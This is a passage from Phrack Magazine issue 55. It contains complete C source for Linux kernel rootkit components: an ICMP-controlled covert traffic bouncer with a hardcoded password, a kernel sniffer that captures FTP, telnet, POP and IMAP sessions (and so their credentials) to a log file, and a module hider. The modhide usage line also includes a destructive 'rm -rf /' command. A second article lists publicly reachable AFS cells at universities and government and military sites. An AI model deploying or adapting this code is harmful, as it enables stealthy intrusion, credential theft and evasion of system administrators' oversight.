if((sd = open_raw_sock(IPPROTO_RAW)) == ‑1) { fprintf(stderr, "Cannot create socket\n"); exit(EXIT_FAILURE);

}

libnet_build_ip(8 + payload_s, 0, 440, 0, 64,

IPPROTO_ICMP, name_resolve(argv[1], 1), name_resolve(argv[2], 1), NULL, 0, buf);

build_icmp_echo(8, 0, 242, 55, payload, payload_s, buf + IP_H);

if(libnet_do_checksum(buf, IPPROTO_ICMP, 8 + payload_s) == ‑1) { fprintf(stderr, "Can't do checksum, packet may be invalid.\n"); }

#ifdef DEBUG

printf("type ‑> %d\n", *(buf+20));

printf("code ‑> %d\n", *(buf+20+1));

printf("checksum ‑> %d\n", *(buf+20+2));

#endif

c = write_ip(sd, buf, 8 + IP_H + payload_s);

if (c < 8 + IP_H + payload_s) {

fprintf(stderr, "Error writing packet.\n"); exit(EXIT_FAILURE);

}

#ifdef DEBUG

printf("%s : %p\n", buf+28, buf+28);

#endif

printf("Kernel Bouncer ‑ Rules Client\n");

printf("lifeline|arai (c) 1999\n\n");

printf("Rules packet sent to %s.\n", argv[2]);

free(rules);

free(payload);

free(buf);

}

<‑‑>

<++> P55/Linux‑lkm/Bouncer/bouncer.c !f3ea817c

/*

* krnbouncer.c ‑ A kernel based bouncer module

*

* by kossak

* kossak@hackers‑pt.org || http://www.hackers‑pt.org/kossak

*

* This file is licensed by the GNU General Public License.

*

* Tested on a 2.2.5 kernel. Should compile on others with minimum fuss. * However, I'm not responsible for setting fire on your computer, loss of * mental health, bla bla bla...

*

* CREDITS:‑ Plaguez and Halflife for an excelent phrack article on * kernel modules.

* ‑ the kernel developers for a great job (no irony intended). *

* USAGE: gcc ‑O2 ‑DDEBUG ‑c krnbouncer.c ‑I/usr/src/linux/include ; * insmod krnsniff.o [dev=<device>]

*

* TODO :‑ manage to send a packet thru another device than the one * the packet is originating from (difficult, but not important) *‑ implement a timeout for the bounce rules

* ‑ the rules should store a source port for checking the

* connection (important)

*‑ turn this into a totally protocol independent IP based

* bouncer (quite a challenge :))

*

* NOTE : don't try to use this module to bounce connections of different * types, such as bouncing packets from a ppp device to an ethernet * device and vice‑versa. That was not tested and may crash your * machine.

*/

#define MODULE

#define __KERNEL__

#include <linux/config.h>

#include <linux/module.h>

#include <linux/version.h>

#include <linux/byteorder/generic.h>

#include <linux/netdevice.h>

#include <net/protocol.h>

#include <net/pkt_sched.h>

#include <net/tcp.h>

#include <linux/if_ether.h>

#include <linux/ip.h>

#include <linux/tcp.h>

#include <linux/skbuff.h>

#include <linux/icmp.h>

#include <linux/kernel.h>

#include <linux/mm.h>

#include <linux/file.h>

#include <asm/uaccess.h>

#include <linux/time.h>

#define DBGPRN1(X)if (debug) printk(KERN_DEBUG X)

#define DBGPRN2(X,Y)if (debug) printk(KERN_DEBUG X, Y);

#define DBGPRN3(X,Y,Z) if (debug) printk(KERN_DEBUG X, Y, Z); #define DBGPRN4(X,Y,Z,W)if (debug) printk(KERN_DEBUG X, Y, Z, W); #define DBGPRN5(X,Y,Z,W,V) if (debug) printk(KERN_DEBUG X, Y, Z, W, V);

#define TRUE ‑1

#define FALSE 0

#define MAXRULES 8/* Max bouncing rules. */

#define RULEPASS "kossak"

/*

#define SOURCEIP "a.b.c.d"

#define DESTIP "e.f.g.h"

*/

/* global data */

int debug, errno;

struct rule {

__u32source, dest;

__u8proto;

__u16destp; /* TCP and UDP only */

struct rule*next;

};

/* this is a linked list */

struct rule *first_rule;

char *dev;

MODULE_PARM(dev, "s"); /* gets the parameter dev=<devname> */

struct device *d;

struct packet_type bounce_proto;

/* inicial function declarations */

char *in_ntoa(__u32 in);

__u32 in_aton(const char *str);

int filter(struct sk_buff *);

int m_strlen(char *);

char *m_memcpy(char *, char *, int);

int m_strcmp(char *, const char *);

void process_pkt_in(struct sk_buff *);

void bounce_and_send(struct sk_buff *, __u32 new_host);

void clear_bounce_rules(void);

void process_bounce_rule(struct rule *);

/* our packet handler */

int pkt_func(struct sk_buff *skb, struct device *dv, struct packet_type *pt) {

switch (skb‑>pkt_type) {

case PACKET_OUTGOING:

break;

case PACKET_HOST:

process_pkt_in(skb);

break;

case PACKET_OTHERHOST:

break;

default:

kfree_skb(skb);

return 0;

}

}

void bounce_and_send(struct sk_buff *skb, __u32 new_host) {

struct tcphdr *th;

struct iphdr *iph;

unsigned char dst_hw_addr[6];

unsigned short size;

int doff = 0;

int csum = 0;

int offset;

th = skb‑>h.th;

iph = skb‑>nh.iph;

skb‑>pkt_type = PACKET_OUTGOING; /* this packet is no longer for us */

/* we swap the ip addresses */

iph‑>saddr = skb‑>nh.iph‑>daddr;

iph‑>daddr = new_host;

size = ntohs(iph‑>tot_len) ‑ (iph‑>ihl * 4);

doff = th‑>doff << 2;

/* calculate checksums again... bleh! :P */

skb‑>csum = 0;

csum = csum_partial(skb‑>h.raw + doff, size ‑ doff, 0); skb‑>csum = csum; /* data checksum */

th‑>check = 0;

th‑>check = csum_tcpudp_magic(

iph‑>saddr,

iph‑>daddr,

size,

iph‑>protocol,

csum_partial(skb‑>h.raw, doff, skb‑>csum)

); /* tcp or udp checksum */

ip_send_check(iph); /* ip checksum */

/* Now change the hardware MAC address and rebuild the hardware

* header. no need to allocate space in the skb, since we're dealing * with packets coming directly from the driver, with all fields * complete.

*/

m_memcpy(dst_hw_addr, skb‑>mac.ethernet‑>h_source, 6);

if (skb‑>dev‑>hard_header)

skb‑>dev‑>hard_header(skb,

skb‑>dev,

ntohs(skb‑>protocol),

dst_hw_addr,

skb‑>dev‑>dev_addr,

skb‑>len);

else

DBGPRN1("no hardware‑header build routine found\n");

/* send it anyway! lets hope nothing breaks :) */

dev_queue_xmit(skb_clone(skb, GFP_ATOMIC));

}

void process_bounce_rule(struct rule *ptr) {

struct rule *new_rule;

if ( ptr‑>proto == 0 ) {

DBGPRN1("protocol ID is 0, clearing bounce rules...\n"); clear_bounce_rules();

}

else {

new_rule = kmalloc(sizeof(struct rule), GFP_ATOMIC);

m_memcpy ((char *)new_rule,(char *)ptr, sizeof(struct rule));

new_rule‑>next = NULL; /* trust no one :) */

if (!first_rule) {

first_rule = new_rule; /* not 100% efficient here... */

}

else {

ptr = first_rule;

while (ptr‑>next)

ptr = ptr‑>next;

ptr‑>next = new_rule;

}

}

}

/* this is untested code, dunno if kfree() works as advertised. */

void clear_bounce_rules () {

struct rule *ptr;

while (first_rule) {

ptr = first_rule‑>next;

kfree(first_rule);

first_rule = ptr;

}

}

void process_pkt_in(struct sk_buff *skb) {

char *data;

int i, datalen;

struct rule*ptr;

__u32host;

/* fix some pointers */

skb‑>h.raw = skb‑>nh.raw + skb‑>nh.iph‑>ihl*4;

/* This is an icmp packet, and may contain a bouncing rule for us. */

if (skb‑>nh.iph‑>protocol == IPPROTO_ICMP) {

if (skb‑>h.icmph‑>type != ICMP_ECHO) return;

data = (skb‑>h.raw) + sizeof(struct icmphdr);

datalen = skb‑>len;

if (m_strcmp(data, RULEPASS)) {

DBGPRN1("Found a valid cookie, checking size...\n");

i = m_strlen(RULEPASS);

if (sizeof(struct rule) < datalen ‑ i) {

DBGPRN1("Valid size, editing rules...\n"); process_bounce_rule((struct rule *)(data+i));

}

return;

}

}

ptr = first_rule;

/* search the existing rules for this packet */

while (ptr) {

if (skb‑>nh.iph‑>protocol != ptr‑>proto) {

ptr = ptr‑>next;

continue;

}

if (skb‑>nh.iph‑>saddr == ptr‑>source

&& skb‑>h.th‑>dest == ptr‑>destp) {

bounce_and_send(skb, ptr‑>dest);

return;

}

if (skb‑>nh.iph‑>saddr == ptr‑>dest && skb‑>h.th‑>source == ptr‑>destp) { bounce_and_send(skb, ptr‑>source);

return;

}

ptr = ptr‑>next;

}

}

/* init_module */

int init_module(void) {

#ifdef DEBUG

debug = TRUE;

#else

debug = FALSE;

#endif

first_rule = NULL;

/* this is for testing purposes only

first_rule = kmalloc(sizeof(struct rule), GFP_ATOMIC); first_rule‑>source = in_aton(SOURCEIP);

first_rule‑>dest = in_aton(DESTIP);

first_rule‑>proto = IPPROTO_TCP;

first_rule‑>destp = htons(23);

first_rule‑>next = NULL;

*/

if (dev) {

d = dev_get(dev);

if (!d) {

DBGPRN2("Did not find device %s!\n", dev);

DBGPRN1("Using all known devices...");

}

else {

DBGPRN3("Using device %s, ifindex: %i\n",

dev, d‑>ifindex);

bounce_proto.dev = d;

}

}

else

DBGPRN1("Using all known devices...\n");

bounce_proto.type = htons(ETH_P_ALL);

/* this one just gets us incoming packets */

/*bounce_proto.type = htons(ETH_P_IP); */

bounce_proto.func = pkt_func;

dev_add_pack(&bounce_proto);

return(0);

}

void cleanup_module(void) {

dev_remove_pack(&bounce_proto);

DBGPRN1("Bouncer Unloaded\n");

}

/* boring yet useful functions follow... */

/* Convert an ASCII string to binary IP. */

__u32 in_aton(const char *str) {

unsigned long l;

unsigned int val;

int i;

l = 0;

for (i = 0; i < 4; i++) {

l <<= 8;

if (*str != '\0') {

val = 0;

while (*str != '\0' && *str != '.') {

val *= 10;

val += *str ‑ '0';

str++;

}

l |= val;

if (*str != '\0')

str++;

}

}

return(htonl(l));

}

/* the other way around. */

char *in_ntoa(__u32 in) {

static char buff[18];

char *p;

p = (char *) &in;

sprintf(buff, "%d.%d.%d.%d",

(p[0] & 255), (p[1] & 255), (p[2] & 255), (p[3] & 255)); return(buff);

}

int m_strcmp(char *trial, const char *correct) {

char *p;

const char *i;

p = trial;

i = correct;

while (*i) {

if (!p) return 0;

if (*p != *i) return 0;

p++;

i++;

}

return 1;

}

char *m_memcpy(char *dest, char *src, int size) {

char *i, *p;

p = dest;

i = src;

while (size) {

*p = *i;

i++;

p++;

size‑‑;

}

return dest;

}

int m_strlen(char *ptr) {

int i = 0;

while (*ptr) {

ptr++;

i++;

}

return i;

}

/* EOF */

<‑‑>

<++> P55/Linux‑lkm/krnsniff/krnsniff.c !4adeadb3

/*

* krnsniff.c v0.1a ‑ A kernel based sniffer module

*

* by kossak

* kossak@hackers‑pt.org || http://www.hackers‑pt.org/kossak

*

* This file is licensed by the GNU General Public License.

*

* Tested on a 2.2.5 kernel. Should compile on others with minimum fuss. * However, I'm not responsible for setting fire on your computer, loss of * mental health, bla bla bla...

*

* CREDITS:‑ Mike Edulla's ever popular linsniffer for some logging ideas. *‑ Plaguez and Halflife for an excelent phrack article on

* kernel modules.

*‑ the kernel developers for a great job (no irony intended). *

* USAGE: gcc ‑O2 ‑DDEBUG ‑c krnsniff.c ‑I/usr/src/linux/include ; * insmod krnsniff.o [dev=<device>]

*

* TODO :‑ implement a timeout feature (IMPORTANT)

* ‑ better support for certain stupid ppp devices that don't set * dev‑>hard_header_len correctly.

*‑ Parallel logging (like linsniff.c, this thing is still just * logging one connection at a time).

*‑ fix strange kmem grows kernel bitchings (FIXED) ...i think *‑ store the logs in kernel memory and send them and clear them * when a magic packet is sent.

*‑ some weird shit happens in my LAN on incoming connections

* that fucks up the logs a bit, but this was not confirmed

* on other tests. It has to do with packets not increasing seq * numbers, I think.

*‑ This wasn't tested on a promisc system, but it should work * without almost no modifications.

*

* NOTE: the purpose of this module is to expose the dangers of a rooted * system. It is virtually impossible to detect, if used with a module * hidder.

* This could also be developed further to become a simple and easy way * to detect unauthorized network intrusions.

*

* Oh, and script kiddies, don't read the FUCKING source, I hope you * have shit loads of kernel faults and you lose all your 31337 0wn3d * s1t3z... grrr.

*

* look at least at the LOGFILE define below before compiling. */

#define MODULE

#define __KERNEL__

#include <linux/config.h>

#include <linux/module.h>

#include <linux/version.h>

#include <linux/byteorder/generic.h>

#include <linux/netdevice.h>

#include <net/protocol.h>

#include <net/pkt_sched.h>

#include <linux/if_ether.h>

#include <linux/ip.h>

#include <linux/tcp.h>

#include <linux/skbuff.h>

#include <linux/kernel.h>

#include <linux/mm.h>

#include <linux/file.h>

#include <asm/uaccess.h>

/* from a piece of pmsac's code... this is pratic :) */

#define DBGPRN1(X)if (debug) printk(KERN_DEBUG X)

#define DBGPRN2(X,Y)if (debug) printk(KERN_DEBUG X, Y);

#define DBGPRN3(X,Y,Z) if (debug) printk(KERN_DEBUG X, Y, Z); #define DBGPRN4(X,Y,Z,W)if (debug) printk(KERN_DEBUG X, Y, Z, W); #define DBGPRN5(X,Y,Z,W,V) if (debug) printk(KERN_DEBUG X, Y, Z, W, V);

#define TRUE ‑1

#define FALSE 0

#define CAPTLEN512/* no. of bytes to log */

/* do a 'touch LOGFILE' _before_ you load the module. */

#define LOGFILE"/tmp/sniff.log"

/* global data */

int debug, errno,

out_c, in_c, thru_c;/* packet counters */

struct t_data {

charcontent[1500];

unsigned longseq;

struct t_data*next;

};

struct {

unsigned short active;

unsigned longsaddr;

unsigned longdaddr;

unsigned shortsport;

unsigned shortdport;

unsigned longtotlen;

struct t_data*data;

} victim;

char *dev;

MODULE_PARM(dev, "s"); /* gets the parameter dev=<devname> */

struct device *d;

struct packet_type sniff_proto;

/* inicial function declarations */

char *in_ntoa(__u32 in);

int filter(struct sk_buff *);

void m_strncpy(char *, char *, int);

int m_strlen(char *);

void start_victim(struct sk_buff *);

void write_victim(struct sk_buff *);

void end_victim(void);

/* our packet handler */

int pkt_func(struct sk_buff *skb, struct device *dv, struct packet_type *pt) {

/* fix some pointers */

skb‑>h.raw = skb‑>nh.raw + skb‑>nh.iph‑>ihl*4;

skb‑>data = (unsigned char *)skb‑>h.raw + (skb‑>h.th‑>doff << 2); skb‑>len ‑= skb‑>nh.iph‑>ihl*4 + (skb‑>h.th‑>doff << 2);

switch (skb‑>pkt_type) {

case PACKET_OUTGOING:

out_c++;

/* dont count with the hardware header

* since my stupid ippp device does not set this...

* add more devices here.

*/

if(strstr(dv‑>name, "ppp"))

skb‑>len ‑= 10;

else

skb‑>len ‑= dv‑>hard_header_len;

break;

case PACKET_HOST:

in_c++;

skb‑>len ‑= dv‑>hard_header_len;

break;

case PACKET_OTHERHOST:

thru_c++;

skb‑>len ‑= dv‑>hard_header_len;

break;

default:

kfree_skb(skb);

return 0;

}

if(filter(skb)) {

kfree_skb(skb);

return 0;

}

/* rare case of NULL's in buffer contents */

if (m_strlen(skb‑>data) < skb‑>len)

skb‑>len = m_strlen(skb‑>data);

if (skb‑>len > CAPTLEN ‑ victim.totlen)

skb‑>len = CAPTLEN ‑ victim.totlen;

if (skb‑>len)

write_victim(skb);

kfree_skb(skb);

return 0;

}

int filter (struct sk_buff *skb) {

/* this is the filter function. it checks if the packet is worth logging */

struct t_data *ptr, *i;

int port = FALSE;

if (skb‑>nh.iph‑>protocol != IPPROTO_TCP)

return TRUE;

/* change to your favourite services here */

if (ntohs(skb‑>h.th‑>dest) == 21 ||

ntohs(skb‑>h.th‑>dest) == 23 ||

ntohs(skb‑>h.th‑>dest) == 110 ||

ntohs(skb‑>h.th‑>dest) == 143 ||

ntohs(skb‑>h.th‑>dest) == 513)

port = TRUE;

if (victim.active) {

if((skb‑>h.th‑>dest != victim.dport) ||

(skb‑>h.th‑>source != victim.sport) || (skb‑>nh.iph‑>saddr != victim.saddr) || (skb‑>nh.iph‑>daddr != victim.daddr))

return TRUE;

if (victim.totlen >= CAPTLEN) {

ptr = kmalloc(sizeof(struct t_data), GFP_ATOMIC);

if(!ptr) {

DBGPRN1("Out of memory\n");

end_victim();

return;

}

m_strncpy(ptr‑>content,

"\n\n*** END : CAPLEN reached ‑‑‑\n", 50);

ptr‑>next = NULL;

i = victim.data;

while(i‑>next)

i = i‑>next;

i‑>next = ptr;

end_victim();

return TRUE;

}

if(skb‑>h.th‑>rst) {

ptr = kmalloc(sizeof(struct t_data), GFP_ATOMIC);

if(!ptr) {

DBGPRN1("Out of memory\n");

end_victim();

return;

}

m_strncpy(ptr‑>content,

"\n\n*** END : RST caught ‑‑‑\n", 50);

ptr‑>next = NULL;

i = victim.data;

while(i‑>next)

i = i‑>next;

i‑>next = ptr;

end_victim();

return TRUE;

}

if(skb‑>h.th‑>fin) {

ptr = kmalloc(sizeof(struct t_data), GFP_ATOMIC);

if(!ptr) {

DBGPRN1("Out of memory\n");

end_victim();

return;

}

m_strncpy(ptr‑>content,

"\n\n*** END : FIN caught ‑‑‑\n", 50);

ptr‑>next = NULL;

i = victim.data;

while(i‑>next)

i = i‑>next;

i‑>next = ptr;

end_victim();

return TRUE;

}

}

else {

if (port && skb‑>h.th‑>syn)

start_victim (skb);

else

return TRUE;

}

return FALSE;

}

void start_victim(struct sk_buff *skb) {

victim.active = TRUE;

victim.saddr = skb‑>nh.iph‑>saddr;

victim.daddr = skb‑>nh.iph‑>daddr;

victim.sport = skb‑>h.th‑>source;

victim.dport = skb‑>h.th‑>dest;

victim.data = kmalloc(sizeof(struct t_data), GFP_ATOMIC);

/* we're a module, we can't afford to crash */

if(!victim.data) {

DBGPRN1("Out of memory\n");

end_victim();

return;

}

victim.data‑>seq = ntohl(skb‑>h.th‑>seq);

victim.data‑>next = NULL;

sprintf(victim.data‑>content, "\n\n*** [%s:%u] ‑‑‑> [%s:%u]\n\n", in_ntoa(victim.saddr),

ntohs(victim.sport),

in_ntoa(victim.daddr),

ntohs(victim.dport));

victim.totlen = m_strlen(victim.data‑>content);

}

void write_victim(struct sk_buff *skb) {

struct t_data *ptr, *i;

ptr = kmalloc(sizeof(struct t_data), GFP_ATOMIC);

if(!ptr) {

DBGPRN1("Out of memory\n");

end_victim();

return;

}

ptr‑>next = NULL;

ptr‑>seq = ntohl(skb‑>h.th‑>seq);

m_strncpy(ptr‑>content, skb‑>data, skb‑>len);

/*

* putting it in the ordered list.

*/

i = victim.data;

if(ptr‑>seq < i‑>seq) {

/*

* we caught a packet "younger" than the starting SYN.

* Likely? no. Possible? yep. forget the bastard.

*/

kfree(ptr);

return;

}

/* actual ordering of tcp packets */

while (ptr‑>seq >= i‑>seq) {

if (ptr‑>seq == i‑>seq)

return; /* seq not incremented (no data) */

if (!i‑>next)

break;

if (i‑>next‑>seq > ptr‑>seq)

break;

i = i‑>next;

}

ptr‑>next = i‑>next;

i‑>next = ptr;

victim.totlen += m_strlen(ptr‑>content);

return;

}

void end_victim(void) {

/*

* Im now saving the data to a file. This is mainly BSD's process accounting * code, as seen in the kernel sources.

*/

struct t_data *ptr;

struct file *file = NULL;

struct inode *inode;

mm_segment_t fs;

file = filp_open(LOGFILE, O_WRONLY|O_APPEND, 0);

if (IS_ERR(file)) {

errno = PTR_ERR(file);

DBGPRN2("error %i\n", errno);

goto vic_end;

}

if (!S_ISREG(file‑>f_dentry‑>d_inode‑>i_mode)) {

fput(file);

goto vic_end;

}

if (!file‑>f_op‑>write) {

fput(file);

goto vic_end;

}

fs = get_fs();

set_fs(KERNEL_DS);

inode = file‑>f_dentry‑>d_inode;

down(&inode‑>i_sem);

while (victim.data) {

file‑>f_op‑>write(file, (char *)&victim.data‑>content, m_strlen(victim.data‑>content), &file‑>f_pos);

ptr = victim.data;

victim.data = victim.data‑>next;

kfree(ptr);

}

up(&inode‑>i_sem);

set_fs(fs);

fput(file);

DBGPRN1("Entry saved\n");

vic_end:

victim.saddr = 0;

victim.daddr = 0;

victim.sport = 0;

victim.dport = 0;

victim.active = FALSE;

victim.totlen = 0;

victim.data = NULL;

}

/* trivial but useful functions below. Damn, I miss libc :) */

char *in_ntoa(__u32 in) {

static char buff[18];

char *p;

p = (char *) &in;

sprintf(buff, "%d.%d.%d.%d",

(p[0] & 255), (p[1] & 255), (p[2] & 255), (p[3] & 255)); return(buff);

}

void m_strncpy(char *dest, char *src, int size) {

char *i, *p;

p = dest;

for(i = src; *i != 0; i++) {

if (!size) break;

size‑‑;

*p = *i;

p++;

}

*p = '\0';

}

int m_strlen(char *ptr) {

int i = 0;

while (*ptr) {

ptr++;

i++;

}

return i;

}

/* init_module */

int init_module(void) {

#ifdef DEBUG

debug = TRUE;

#else

debug = FALSE;

#endif

in_c = out_c = thru_c = 0;

victim.saddr= 0;

victim.daddr= 0;

victim.sport= 0;

victim.dport= 0;

victim.active= FALSE;

victim.data= NULL;

if (dev) {

d = dev_get(dev);

if (!d) {

DBGPRN2("Did not find device %s!\n", dev);

DBGPRN1("Sniffing all known devices...");

}

else {

DBGPRN3("Sniffing device %s, ifindex: %i\n",

dev, d‑>ifindex);

sniff_proto.dev = d;

}

}

else

DBGPRN1("Sniffing all known devices...\n");

sniff_proto.type = htons(ETH_P_ALL);

/* this one just gets us incoming packets */

/*sniff_proto.type = htons(ETH_P_IP); */

sniff_proto.func = pkt_func;

dev_add_pack(&sniff_proto);

return(0);

}

void cleanup_module(void) {

dev_remove_pack(&sniff_proto);

end_victim();

DBGPRN4("Statistics: [In: %i] [Out: %i] [Thru: %i]\n",

in_c, out_c, thru_c);

DBGPRN1("Sniffer Unloaded\n");

}

/* EOF */

<‑‑>

<++> P55/Linux‑lkm/modhide/modhide.c !c9a65c89

/*

* generic module hidder, for 2.2.x kernels.

*

* by kossak (kossak@hackers‑pt.org || http://www.hackers‑pt.org/kossak)

*

* This module hides the last module installed. With little mind work you can * put it to selectivly hide any module from the list.

*

* insmod'ing this module will allways return an error, something like device * or resource busy, or whatever, meaning the module will not stay installed. * Run lsmod and see if it done any good. If not, see below, and try until you * suceed. If you dont, then the machine has a weird compiler that I never seen. * It will suceed on 99% of all intel boxes running 2.2.x kernels. *

* The module is expected not to crash when it gets the wrong register, but * then again, it could set fire to your machine, who knows...

*

* Idea shamelessly stolen from plaguez's itf, as seen on Phrack 52. * The thing about this on 2.2.x is that kernel module symbol information is * also referenced by this pointer, so this hides all of the stuff :) *

* DISCLAIMER: If you use this for the wrong purposes, your skin will fall off, * you'll only have sex with ugly women, and you'll be raped in * jail by homicidal maniacs.

*

* Anyway, enjoy :)

*

* USAGE: gcc ‑c modhide.c ; insmod modhide.o ; lsmod ; rm ‑rf / */

#define MODULE

#define __KERNEL__

#include <linux/config.h>

#include <linux/module.h>

#include <linux/version.h>

int init_module(void) {

/*

* if at first you dont suceed, try:

* %eax, %ebx, %ecx, %edx, %edi, %esi, %ebp, %esp

* I cant make this automaticly, because I'll fuck up the registers If I do * any calculus here.

*/

register struct module *mp asm("%ebx");

if (mp‑>init == &init_module) /* is it the right register? */

if (mp‑>next) /* and is there any module besides this one? */

mp‑>next = mp‑>next‑>next; /* cool, lets hide it :) */

return ‑1; /* the end. simple heh? */

}

/* EOF */

<‑‑>

The Black Book of AFS

‑‑‑‑‑‑‑[ Phrack Magazine ‑‑‑ Vol. 9 | Issue 55 ‑‑‑ 09.09.99 ‑‑‑ 13 of 19 ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Black Book of AFS ]

‑‑‑‑‑‑‑‑[ nicnoc ]

‑‑‑‑[ Introduction

AFS is commonly deployed as a distributed filesystem solution in academic and research environments. This short article serves as an introductory guide to publicly‑accessible resources on AFS. As always, misuse of this information by the reader is taken at his or her own peril.

The current incarnation of AFS grew out of research conducted with the Andrew FileSystem at Carnegie‑Mellon University, also home of the CODA distributed fs research (http://www.coda.cs.cmu.edu/). AFS is now a commercial product,

supported and sold by the Transarc Corporation (www.transarc.com).

‑‑‑‑[ Conventions

Resources on AFS listed in this document will take the form of '/afs/cell name'. As you will discover, certain hosts are only accessible from a gateway immediately associated with the cell. For example, the node net.mit.edu can only be reached from the outside (ie. using methods other than a local fs mount) through the web.mit.edu AFS gateway. Where appropriate, these access restrictions are noted.

‑‑‑‑[ Basics

Terminology

‑‑‑‑‑‑‑‑‑‑‑

cell : Multiple hosts within the same domain sharing a single fs image. ‑ local cell : Describes a cell within the local domain.

‑ foreign cell : All cells not within the local domain.

‑ cell name : Usually a derivation of the FQDN.

node : Generic term for any host on the network.

ACL : Access Control List ‑ who gets what, and how.

Technical

‑‑‑‑‑‑‑‑‑

Access permissions of files and directories on an AFS cell are handled independently of the underlying operating system permissions. Traditional Unix fs permission bits are divided into read, write, and execute. The AFS ACL groupings build on this concept and add extensions suitable for distributed file‑sharing.

Below is a basic introduction to concepts and commands used to manage AFS; by no means a complete treatment of the subject. See tutorials at http://www.alw.nih.gov/Docs/AFS/AFS_toc.html and

http://www.slac.stanford.edu/comp/unix/afs/users‑guide/afs‑frames.htm for

more information.

ACL bits

‑‑‑‑‑‑‑‑

r : read : view directory and file contents

l : lookup : searching of a directory for filenames (recursive find) i : insert : create a new directory or file

d : delete : remove a file or subdirectory

w : write : modification of file contents

k : lock : owner's processes allowed to flock() in this dir a : administer : user permitted to modify ACL for this resource

Commands for ACL listing and modification

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

fs: listacl <filename> (alias: la) : list access control list setacl <directory> <username> <permissions> (alias: sa)

.... set access control list

ex. setacl secret.doc jsbach lidrw

pts:

Invoked as 'pts option' on the command‑line. Manages protection groups, which permit a smaller group of users to access resources owned by another user.

options:

adduser ‑user user1 user2... ‑group <owner>:<group name> .... adds user(s) to an existing protection group

removeuser ‑user user1 user2... ‑group <owner>:<group name> .... removes user(s) from a protection group

creategroup <owner>:<group name>

.... create a protection group

examine <path>

.... volume name of specified resource at <path>

membership ‑name <user> (alternatively <group name>:<owner>) .... list protection group membership for user

Protocol information

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

AFS is implemented over wide‑area TCP/IP networks, optionally authenticating users with a modified Kerberos implementation. Client nodes utilize a cache manager, which stores frequently‑accessed data on a local disk for faster retrieval.

Taken from an unknown cell's /etc/service, the ports and protocols that make AFS work its magic:

afs3‑fileserver 7000/udp # file server itself

afs3‑callback 7001/udp # callbacks to cache managers afs3‑prserver 7002/udp # users & groups database afs3‑vlserver 7003/udp # volume location database afs3‑kaserver 7004/udp # AFS/Kerberos authentication service afs3‑volser 7005/udp # volume management server afs3‑errors 7006/udp # error interpretation service afs3‑bos 7007/udp # basic overseer process afs3‑update 7008/udp # server‑to‑server updater afs3‑rmtsys 7009/udp # remote cache manager service

Gateways

========

Legitimate access to AFS is quite easy to obtain. Any alumnus of an institution where AFS is widely deployed (MIT, CMU, Stanford, etc.) usually has an account on a connected node. Additionally, it is not uncommon for admins to grant research accounts on university systems to friends outside.

For those without friends and we, the unwashed masses, there are gateways which allow access to AFS through other services. In the early 1990's, these were commonly found on institution FTP and Gopher sites. Today, most gateways provide proxied access to AFS through the web. Transarc provides the WebSecure product which is the most commonly used gateway software.

AFS‑>web gateway discovery is a matter of blind luck, although with the assistance of a search engine, it is possible to select possible candidates.

Two commonly‑used gateways are:

web.mit.edu

www.transarc.com

The MIT gateway is more controlled than the Transarc's.

Of the 74 active cells discovered, MIT permits only 12: andrew.cmu.edu athena.mit.edu

cmu.edu cs.cmu.edu

ece.cmu.edu iastate.edu

ir.stanford.edu net.mit.edu

northstar.dartmouth.edu sipb.mit.edu

transarc.com umich.edu

Some cells local to mit.edu are accessible through the gateway with aliases, namely: athena, dev, net, and sipb. These aliases and restricted‑access nodes are not enumerated.

Directory

=========

This listing comes from an audit of active nodes accessible through the transarc.com AFS‑>web gateway. From a dataset of 511 entries, 74 were found to be active. The unofficial AFS FAQ (section 1.07) (/afs/transarc.com/public/afs‑contrib/doc/faq/afs‑faq.html) assisted with identification of certain cells.

Data were collected from a recent CellservDB (/afs/transarc.com/service/etc/CellServDB.export) and the output of 'ls /afs' on an AFS node. A simple script linking lynx, grep, sort and awk produced the below listing. All listed nodes were verified to be accessible from an external network on 07.22.1999.

## Corporate (COM)

|

# Transarc Corporation

transarc.com

## Education (EDU)

|

# Arizona State University

asu.edu

# Boston University

bu.edu

# Carnegie‑Mellon University

cmu.edu

andrew.cmu.edu

ce.cmu.edu

! cs.cmu.edu# Top‑level directory not browsable

ece.cmu.edu

me.cmu.edu

# Cornell University

graphics.cornell.edu

msc.cornell.edu

theory.cornell.edu

# Dartmouth College

northstar.dartmouth.edu

# Indiana State University

iastate.edu

# Indiana University

ovpit.indiana.edu

# Massachusetts Institute of Technology

athena.mit.edu

sipb.mit.edu

# North Carolina Agricultural and Technical State University ncat.edu

# North Carolina State University

eos.ncsu.edu

unity.ncsu.edu

# Notre Dame

nd.edu

# Pennsylvania State University

psu.edu

# Pittsburgh Supercomputing Center

psc.edu

# Rose‑Hulman Institute of Technology

rose‑hulman.edu

# Stanford University

ir.stanford.edu

slac.stanford.edu

# University of California at Davis

ece.ucdavis.edu

# University of Chicago

spc.uchicago.edu

# University of Illinois at Chicago (NCSA)

ncsa.uiuc.edu

# University of Maryland at Baltimore

umbc.edu

# University of Maryland

wam.umd.edu

# University of Michigan

umich.edu

citi.umich.edu

engin.umich.edu

lsa.umich.edu

math.lsa.umich.edu

dmsv.med.umich.edu

sph.umich.edu

# University of Pittsburgh

pitt.edu

# University of Utah

utah.edu

cs.utah.edu

# University of Washington

cs.washington.edu

# University of Wisconsin

cs.wisc.edu

## Government (GOV)

|

# Argonne National Labs

anl.gov

# Fermi National Accelerator Lab

fnal.gov

# National Energy Research Supercomputer Center

nersc.gov

# National Institutes of Health

alw.nih.gov

# Princeton Plasma Physics Laboratory

pppl.gov

## Military (MIL)

|

# Naval Research Laboratory

cmf.nrl.navy.mil

## Network

|

# Energy Sciences Network

es.net

## Organization (ORG)

|

# Esprit Research Network of Excellence (European Communities) research.ec.org

# Open Software Foundation

ri.osf.org

## Europe and Asia

|

# European Laboratory for Particle Physics, Geneva

cern.ch

#Deutsches Elektronen‑Synchrotron

desy.de

#Univ. of Cologne Inst. for Geophysics & Meteorology geo.uni‑koeln.de

# DESY‑IfH Zeuthen

ifh.de

# Leibniz‑Rechenzentrum Muenchen

lrz‑muenchen.de

# Max‑Planck‑Institut fuer Astrophysik

mpa‑garching.mpg.de

# TH‑Darmstadt

hrzone.th‑darmstadt.de

# Technische Universitaet Chemnitz‑Zwickau

tu‑chemnitz.de

# Albert‑Ludwigs‑Universitat Freiburg

uni‑freiburg.de

